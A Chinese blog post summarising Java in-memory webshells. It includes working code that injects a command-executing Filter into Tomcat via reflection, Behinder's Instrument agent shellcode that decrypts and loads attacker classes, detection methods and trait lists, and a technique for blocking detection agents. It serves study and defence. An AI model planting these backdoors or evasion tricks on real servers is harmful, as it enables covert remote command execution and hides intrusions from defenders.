首页 > 系统相关 >Java内存马的学习总结

Java内存马的学习总结

时间:2022-11-18 13:11:18浏览次数:38  
标签:总结 Java String java Class 内存 new class

1.前置知识

Java Web三大组件

Servlet

Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。

Filter

Filter也称之为过滤器,可以动态地修改HttpServletRequest,HttpServletResponse中的头和数据。

Listener

Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。

2.内存马检测难点

内存马的类型众多

根据不同的脚本类型,存在各种触发机制不同的内存马,没有稳定的静态特征,易于混淆,常规的WAF安全产品难以检测。

内存马的存在形式

内存马仅存在于进程的内存空间中,系统层面的安全检测工具无法检测出内存马。

3.内存马实现方式

3.1利用Java Web组件

1.利用Servlet、Filter、Listener实现内存马,我们需要两个条件,一是动态创建对象,二是能将创建的对象注册到HTTP的处理流中生效。在Servlet3.0中,ServletContext提供了动态创建Servlet、Filter、Listener的方法。

public interface ServletContext {
  ... 
  FilterRegistration.Dynamic addFilter(String filterName,String className)
  FilterRegistration.Dynamic addFilter(String filterName,Filter filter)
  FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)
  Dynamic addServlet(String var1, String var2);
  Dynamic addServlet(String var1, Servlet var2);
  Dynamic addServlet(String var1, Class<? extends Servlet> var2);
void addListener(String var1);
  <T extends EventListener> void addListener(T var1);
void addListener(Class<? extends EventListener> var1); 
}

ApplicationContext 类是 ServletContext 的实现类,实现了 ServletContext 中的addFilter 方法,用于向属性中的StandardContext实例添加filterDef。利用StandardContext,我们就能够动态创建Servlet、Filter、Listener,实现内存马了。
下面以Filter为例分析内存马的创建方式,Servlet和Listener的实现方式较为类似,就不再重复。1.首先我们需要能够获取到StandardContext。在JSP环境中我们可以直接通过request对象就可以获取到。在其他类型的环境中,也有相应的姿势可以获取到StandardContext对象。

ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);

f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);

2.创建一个恶意的Filter,其核心功能就是一个能够解析攻击者请求的参数,实现命令执行的后门程序。

Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
      }

@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
// TODO Auto-generated method stub
         HttpServletRequest req = (HttpServletRequest)arg0;
if (req.getParameter("cmd") != null) {
byte[] data = new byte[1024];
            Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
int len = p.getInputStream().read(data);
            p.destroy();
            arg1.getWriter().write(new String(data, 0, len));
return;
         } 
         arg2.doFilter(arg0, arg1);
      }

@Override
public void destroy() {
// TODO Auto-generated method stub
      }
   };

3.将该Filter注册到HTTP的处理流中生效。

FilterDef filterDef = new FilterDef();
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);

    standardCtx.addFilterDef(filterDef);

   FilterMap m = new FilterMap();
   m.setFilterName(filterDef.getFilterName());
   m.setDispatcher(DispatcherType.REQUEST.name());
   m.addURLPattern("/*");
   standardCtx.addFilterMapBefore(m);
   Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
   FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);

    filterConfigs.put(name, filterConfig);

此类型的内存马有着以下两个较为明显的特征:
特征1:class 实现 javax.servlet.Filter,javax.servlet.Listener,javax.servlet.Servlet等接口。

特征2:包含ProcessBuilder,Runtime等Webshell常用的命令执行危险操作。

3.2Instrument内存马

Instrument机制在给我们分析修改JVM进程带来便利的同时,也为内存马的隐藏提供了很好的手段。常见的冰蝎[4],哥斯拉[5]内存马都提供Instrument注入的方式。我们以冰蝎的内存马来分析Instrument注入的实现方式。通过对冰蝎的jar包进行逆向分析可以发现,冰蝎内存马的代码位于net.rebeyond.behinder.payload.java.MenShell类中。

基于Instrument的Agent,入口函数是agentmain。分析agentmain方法中实现的逻辑,可以发现大致分为以下3步:

1.确定需要hook的类与方法,可以看出主要hook的都是与Servlet相关的类的service方法。

javax.servlet.http.HttpServletRequest request = (javax.servlet.ServletRequest) $1;
        javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse) $2;
        javax.servlet.http.HttpSession session = request.getSession();
String pathPattern = "%s";
if (request.getRequestURI().matches(pathPattern)) {
            java.util.Map obj = new java.util.HashMap();
            obj.put("request", request);
            obj.put("response", response);
            obj.put("session", session);
            ClassLoader loader = this.getClass().getClassLoader();
if (request.getMethod().equals("POST")) {
try {
String k = "%s";
                    session.putValue("u", k);

                    java.lang.ClassLoader systemLoader = java.lang.ClassLoader.getSystemClassLoader();
                    Class cipherCls = systemLoader.loadClass("javax.crypto.Cipher");

Object c = cipherCls.getDeclaredMethod("getInstance", new Class[]{String.class}).invoke((java.lang.Object) cipherCls, new Object[]{"AES"});
Object keyObj = systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class, String.class}).newInstance(new Object[]{k.getBytes(), "AES"});
                    ;

                    java.lang.reflect.Method initMethod = cipherCls.getDeclaredMethod("init", new Class[]{int.class, systemLoader.loadClass("java.security.Key")});
                    initMethod.invoke(c, new Object[]{new Integer(2), keyObj});

                    java.lang.reflect.Method doFinalMethod = cipherCls.getDeclaredMethod("doFinal", new Class[]{byte[].class});
                    byte[] requestBody = null;
try {
                        Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");
Object Decoder = Base64.newInstance();
                        requestBody = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
                    } catch (Exception ex) {
                        Class Base64 = loader.loadClass("java.util.Base64");
Object Decoder = Base64.getDeclaredMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
                        requestBody = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
                    }

                    byte[] buf = (byte[]) doFinalMethod.invoke(c, new Object[]{requestBody});
                    java.lang.reflect.Method defineMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, java.nio.ByteBuffer.class, java.security.ProtectionDomain.class});
                    defineMethod.setAccessible(true);
                    java.lang.reflect.Constructor constructor = java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});
constructor.setAccessible(true);
                    java.lang.ClassLoader cl = (java.lang.ClassLoader) constructor.newInstance(new Object[]{loader});
                    java.lang.Class c = (java.lang.Class) defineMethod.invoke((java.lang.Object) cl, new Object[]{null, java.nio.ByteBuffer.wrap(buf), null});
                    c.newInstance().equals(obj);
                } catch (java.lang.Exception e) {
                    e.printStackTrace();
                } catch (java.lang.Error error) {
                    error.printStackTrace();
                }
                return;
            }
        }

2.将shellcode插入到需要hook的方法之前

Class[] var28 = cLasses;
            int var13 = cLasses.length;

for (int var14 = 0; var14 < var13; ++var14) {
                Class cls = var28[var14];
if (targetClasses.keySet().contains(cls.getName())) {
String targetClassName = cls.getName();

try {
String path = new String(base64decode(args.split("\\|")[0]));
String key = new String(base64decode(args.split("\\|")[1]));
                        shellCode = String.format(shellCode, path, key);
if (targetClassName.equals("jakarta.servlet.http.HttpServlet")) {
                            shellCode = shellCode.replace("javax.servlet", "jakarta.servlet");
                        }

                        ClassClassPath classPath = new ClassClassPath(cls);
                        cPool.insertClassPath(classPath);
                        cPool.importPackage("java.lang.reflect.Method");
                        cPool.importPackage("javax.crypto.Cipher");
                        List paramClsList = new ArrayList();
                        Iterator var21 = ((List) ((Map) targetClasses.get(targetClassName)).get("paramList")).iterator();

String methodName;
while (var21.hasNext()) {
                            methodName = (String) var21.next();
                            paramClsList.add(cPool.get(methodName));
                        }

                        CtClass cClass = cPool.get(targetClassName);
                        methodName = ((Map) targetClasses.get(targetClassName)).get("methodName").toString();
                        CtMethod cMethod = cClass.getDeclaredMethod(methodName, (CtClass[]) paramClsList.toArray(new CtClass[paramClsList.size()]));
// 关键步骤,修改字节码,将shellcode插入到方法前调用
            cMethod.insertBefore(shellCode);
                        cClass.detach();
                        data = cClass.toBytecode();
// 调用Instrumentation对象,将修改生效
                        inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(cls, data)});
                    } catch (Exception var24) {
                        var24.printStackTrace();
                    } catch (Error var25) {
                        var25.printStackTrace();
                    }
                }
            }

至此,已经成功将Java进程中的Servlet类修改,所有的请求都会经过内存马的代码,攻击者构造特定格式的POST请求就会进入内存马的代码逻辑中,执行恶意请求。正常业务的数据格式不满足内存马数据格式要求,会跳过内存马的逻辑,因此并不会影响原始业务,大大增加内存马的隐蔽性。

特征:该方式不会生成新的Servlet,Filter,Listener对象,因此隐蔽性更强。美中不足的是,需要生成Agent文件落地,有可能会被IDS文件检测检测到Agent。

4.Java Servlet 内存马检测

4.1Java Servlet 内存马攻击原理

​客户端发起的web请求会依次经过Listener、Filter、Servlet三个组件,而内存马利用在请求过程中在内存中修改或动态注册新的组件,达到注入Webshell的目的。

Java Servlet 内存马检查方式

使用工具Arthas发现内存马,Arthas是一款开源的Java诊断工具,基本使用场景是定位复现一些生产环境比较难以定位问题。可以在线排查问题,以及动态追踪Java代码,实时监控JVM状态等等。

java -jar .\arthas-boot.jar #java应用进程PID,如下图:

输入Mbean 查看或监控 Mbean 的属性信息,根据哥斯拉内存马的特性,进行筛选出异常组件,如下图:

使用cop.jar工具提取Java内存马。把工具放在网站根目录下,输入:java -jar cop.jar -p,如下图:

使用D盾工具对.copagent目录进行查杀

4.2基于Instrument的Agent检测

我们可以同样利用Java 的Instrument机制,动态注入我们的检测Agent,获取JVM中所有加载的Class的数据,针对内存马可疑的特征,让隐藏的内存马现出原型。

首先,我们需要分析常见的内存马存在的一些可疑的特征。根据上面两种类型的内存马,我们大致可以总结出以下几个可疑特征:

1.继承可能实现Webshell接口,例如Servlet,Filter,Listener,Interceptor

• javax.servlet.http.HttpServlet
• org.springframework.web.servlet.handler.AbstractHandlerMapping
• javax.servlet.Filter
• javax.servlet.Servlet
• javax.servlet.ServletRequestListener
•…

2.名字:内存马的Filter名可能包含shell等关键字

3.特殊classloader加载:查看classloader是不是Templates或bcel等

4.使用风险注解

5.对比web.xml中没有Filter配置(这点在Spring之类的动态注入框架中不生效)

6.对应的ClassLoader路径下没有class文件:检测Filter对应的ClassLoader目录下是否存在class文件

7.常见已知的Webshell包名

net.rebeyond.
com.metasploit.

检测步骤大致如下:

1.Attach 检测jar包到JVM进程

2.获取JVM中已经加载的class列表

3.根据以上可疑特征将可疑的class反编译为Java源码

4.根据源码检测Webshell

优点:只在检测的过程中存在资源的消耗,不会对系统进行修改,对系统的影响较小。

缺点:针对恶意代码的分析,如果恶意代码不是存在于该可疑的类中,而是通过多层的调用链调用的,分析的难度将大大增加,针对单个class的分析将无法有效的检测出。需要对调用链上的所有的类的方法函数进行分析,只要调用链中的任何一个类存在可疑的代码,就标记为风险。但这样也会增加检测的资源消耗,降低检测效率。并且,这是一种事后的检测,内存马可能已经在系统中存在一定的时间。

5.内存马的防检测

有查杀,内存马就有反查杀,冰蝎内存马在Behinder_v3.0 Beta 10中就开始添加了防检测的功能。

防检测思路:

VM进程之间的通信,靠的就是目标进程暴露出来的socket文件。防检测原理,就是删除JVM进程对外暴露的.java_pidxxxx socket文件,阻止和JVM进程通信,从而禁止Agent加载。Agent无法注入,自然就无法检测内存马了。

防检测实现方式:

1.在目标JVM进程中, 重启AttachListener,重新创建socket文件。

2.在目标JVM进程,创建LinuxAttachOperation到队列中,完成load Agent的操作。

标签:总结,Java,String,java,Class,内存,new,class
From: https://www.cnblogs.com/Cai-Xiaobai/p/16902865.html

相关文章

  • 2012年总结
    时间过的好快,春节马上来临了。本来计划在元月就总结下2012年,结果来了个着急的项目,推迟了总结。 2012本来是世界末日的,也是自己的本命年。 虽然自己时时小心翼翼,但总有些磕......
  • SpringMVC 拦截异常Exception返回Json,适合Java做后台业务项目
    publicclassExceptionHandlerimplementsHandlerExceptionResolver{@OverridepublicModelAndViewresolveException(HttpServletRequestreque......
  • JVM之垃圾回收机制和内存分配策略
    目录垃圾回收的垃圾是什么如何判断一个对象是不是垃圾引用计数法可达性分析算法Java的引用垃圾回收基础算法标记清除标记整理标记复制分代垃圾回收GC分析实例HotSpot算法实......
  • gRPC(Java) keepAlive机制研究
    基于javagRPC1.24.2分析结论gRPCkeepAlive是grpc框架在应用层面连接保活的一种措施。即当grpc连接上没有业务数据时,是否发送pingpong,以保持连接活跃性,不因长时......
  • 修改他人代码经验总结
    由于工作的需要,十几年来经常要在别人的程序代码的基础上修改才能完成目标,与自己从头做项目区别还是不小,简单总结如下:1、继承无论你觉得别人的东西写得再烂,再坏,你首先也要耐......
  • 分级管理实现总结
    企事业单位规模较大时适合采用分级管理的思路,下面是自己实现的一些想法和总结:1、需要分级管理的系统对象:部门、人员、角色、网站站点2、分级管理实现的思路:在没有部门信息的......
  • JavaScript语法_变量和JavaScript语法_变量typeof
    JavaScript语法_变量:1.变量:变量:小块存储数据的内存空间Java语言是强类型语言,而Javascript是弱类型语言。强类型:在开辟变量存储空间时,定义了空间将来存储的数据的数据......
  • JavaScript_语法_特殊语法与JavaScript_语法_流程控制语句
    JavaScript_语法_特殊语法JS特殊语法:1.语句以;结尾,如果一行只有一语句则;可以省略(不建议)2.变量的定义使用var关键字,也可以不使用......
  • java自定义异常
    package异常和断言;publicclass自定义异常{publicstaticvoidmain(String[]args){try{//抛出自定义异常,fd为异常信息thrownewd("fd");}//捕捉自定义异常catch(de......
  • TreeUtils工具类一行代码实现列表转树 实战Java8 三级菜单 三级分类 附视频
    一、序言在日常一线开发过程中,总有列表转树的需求,几乎是项目的标配,比方说做多级菜单、多级目录、多级分类等,有没有一种通用且跨项目的解决方式呢?帮助广大技术朋友给业务瘦......